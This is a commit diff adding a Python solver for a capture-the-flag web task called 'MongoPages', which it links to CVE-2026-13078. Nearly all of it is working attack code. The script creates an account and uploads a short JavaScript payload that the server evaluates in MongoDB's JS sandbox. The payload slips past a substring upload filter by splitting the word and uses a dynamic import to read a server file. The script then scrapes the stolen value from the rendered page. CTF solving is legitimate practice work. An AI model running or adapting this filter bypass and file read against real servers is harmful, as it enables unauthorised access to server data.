Init. Commit
This commit is contained in:
@@ -0,0 +1,120 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Solver for the "MongoPages" CTF task, v3 (CVE-2026-13078).
|
||||
|
||||
Usage:
|
||||
python solve.py http://<host>:8080
|
||||
|
||||
The only required argument is the task URL. The script will:
|
||||
1. Register a fresh account on the web app and log in.
|
||||
2. Upload pwn.js - a tiny script the platform evaluates inside the MongoDB
|
||||
server-side JS sandbox (MozJS). Every uploaded .js is executed; its
|
||||
exports are rendered in the (private) page preview as JSON.
|
||||
3. The payload uses top-level await + dynamic import() with a concatenated
|
||||
path to slip past the upload security filter (which rejects the literal
|
||||
substring "flag") and reads /flag.txt, which is itself a valid ES module:
|
||||
export const flag = "m0zjs_...";
|
||||
4. Fetch the rendered page (/pages/<username>/ on the same origin) with the
|
||||
session cookie (pages are private to their owner) and extract the flag
|
||||
value from the rendered exports JSON.
|
||||
5. Print caplag{<value>}.
|
||||
|
||||
Requires: pip install requests
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import random
|
||||
import re
|
||||
import string
|
||||
import sys
|
||||
from urllib.parse import urlparse
|
||||
|
||||
import requests
|
||||
|
||||
# 60 bytes, no "flag" substring, fits the 100-byte limit.
|
||||
# TLA: import() resolves only after the imported module is evaluated,
|
||||
# so the export value is available synchronously on the namespace object.
|
||||
PAYLOAD = 'export const x=(await import("/"+"fl"+"ag.txt"))["fl"+"ag"];'
|
||||
|
||||
|
||||
def rand_name(prefix: str, n: int = 8) -> str:
|
||||
return prefix + "".join(random.choices(string.ascii_lowercase + string.digits, k=n))
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser(description="MongoPages v2 task solver (CVE-2026-13078)")
|
||||
ap.add_argument("url", help="task URL, e.g. http://localhost:8080")
|
||||
args = ap.parse_args()
|
||||
|
||||
base = args.url.rstrip("/")
|
||||
host = urlparse(base).hostname
|
||||
if not host:
|
||||
print("[-] could not parse host from URL")
|
||||
return 1
|
||||
|
||||
username = rand_name("solver")
|
||||
password = rand_name("Pw", 16)
|
||||
|
||||
s = requests.Session()
|
||||
|
||||
# 1. register (retry a few times in case of a username collision)
|
||||
r = None
|
||||
for _ in range(5):
|
||||
r = s.post(f"{base}/register", data={"username": username, "password": password})
|
||||
if r.status_code in (200, 302):
|
||||
break
|
||||
username = rand_name("solver")
|
||||
else:
|
||||
print(f"[-] registration failed: {r.status_code} {r.text[:200]}")
|
||||
return 1
|
||||
print(f"[+] registered: {username}:{password}")
|
||||
|
||||
# 2. login
|
||||
r = s.post(f"{base}/login", data={"username": username, "password": password},
|
||||
allow_redirects=False)
|
||||
if r.status_code not in (200, 302):
|
||||
print(f"[-] login failed: {r.status_code} {r.text[:200]}")
|
||||
return 1
|
||||
print("[+] logged in")
|
||||
|
||||
# 3. upload the malicious script (any .js is executed server-side)
|
||||
assert len(PAYLOAD.encode()) <= 100 and "flag" not in PAYLOAD.lower()
|
||||
r = s.post(f"{base}/upload",
|
||||
files={"file": ("pwn.js", PAYLOAD, "application/javascript")},
|
||||
allow_redirects=False)
|
||||
if r.status_code not in (200, 302):
|
||||
print(f"[-] upload failed: {r.status_code} {r.text[:200]}")
|
||||
return 1
|
||||
print(f"[+] uploaded pwn.js ({len(PAYLOAD.encode())} bytes): {PAYLOAD}")
|
||||
|
||||
# 4. fetch the rendered page with our session cookie (pages are private) -
|
||||
# the platform evaluates every .js in mongod's JS engine and embeds
|
||||
# the module exports as JSON
|
||||
r = s.get(f"{base}/pages/{username}/")
|
||||
if r.status_code != 200:
|
||||
print(f"[-] page fetch failed: {r.status_code}")
|
||||
return 1
|
||||
m = re.search(r"<pre>(.*?)</pre>", r.text, re.S)
|
||||
if not m:
|
||||
print(f"[-] no exports JSON on the page (evaluation failed?):\n{r.text[:500]}")
|
||||
return 1
|
||||
try:
|
||||
exports = json.loads(m.group(1).replace(""", '"').replace("&", "&")
|
||||
.replace("<", "<").replace(">", ">").replace("'", "'"))
|
||||
except json.JSONDecodeError as e:
|
||||
print(f"[-] could not parse exports JSON: {e}\n{m.group(1)}")
|
||||
return 1
|
||||
print(f"[+] module exports: {exports}")
|
||||
|
||||
# 5. extract the flag value
|
||||
value = next((str(v) for v in exports.values() if isinstance(v, str) and v), None)
|
||||
if not value:
|
||||
print("[-] no flag-like string in the exports")
|
||||
return 1
|
||||
print(f"\n[FLAG] caplag{{{value}}}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user